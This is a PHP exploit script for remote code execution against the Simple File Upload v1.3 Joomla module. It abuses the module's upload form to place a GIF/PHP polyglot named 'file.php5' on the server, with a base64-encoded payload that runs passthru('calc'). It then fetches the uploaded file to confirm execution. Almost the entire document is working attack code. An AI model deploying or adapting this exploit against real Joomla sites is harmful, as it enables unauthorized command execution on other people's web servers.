Simple File Upload v1.3 (module for joomla) Remote Code Execution Exploit

$host="127.0.0.1";
$port=80;
$shell="R0lGOC8qLyo8P3BocCBwYXNzdGhydSgnY2FsYycpPz4vKg==";
$ContentType="image/gif";
$post="POST http://$host/Joomla_1.5.23_ita-Stable_test_expl/index.php";
$fp = fsockopen($host, $port, $errno, $errstr, 30);
$filename="file.php5";

if(!$fp) die($errstr.$errno); else {

                $data="-----------------------------41184676334\r\n";
                $data.="Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n";
                $data.="\r\n";
                $data.="100000\r\n-----------------------------41184676334\r\n";
                $data.="Content-Disposition: form-data;name=\"sfuFormFields44\"\r\n";
                $data.="\r\n\r\n";
                $data.="-----------------------------41184676334\r\n";
                $data.="Content-Disposition:form-data; name=\"uploadedfile44[]\"; filename=\"file.php5\"\r\nContent-Type: image/gif\r\n\r\n";
                $data.=base64_decode($shell)."\r\n";
                $data.="-----------------------------41184676334--\r\n";

                $packet="$post HTTP/1.1\r\n";
                $packet.="Host: ".$host.":".$port."\r\n";
                $packet.="Content-Type: multipart/form-data; boundary=---------------------------41184676334\r\n";
                $packet.="Content-Length: ".strlen($data)."\r\n";
                $packet.="Connection: Close\r\n\r\n";
                $packet.=$data;

fwrite($fp, $packet);
    fclose($fp);

}

    $h = @fopen("http://".$host."/Joomla_1.5.23_ita-Stable_test_expl/images/file.php5", "r");
      if ($h) {
            while (($buf = fgets($h, 4096)) !== false) {
             echo $buf;
             echo("exploit was successful");
   }

    fclose($h);
    }else{
     echo("Error: exploit fail");
   }
?>

 

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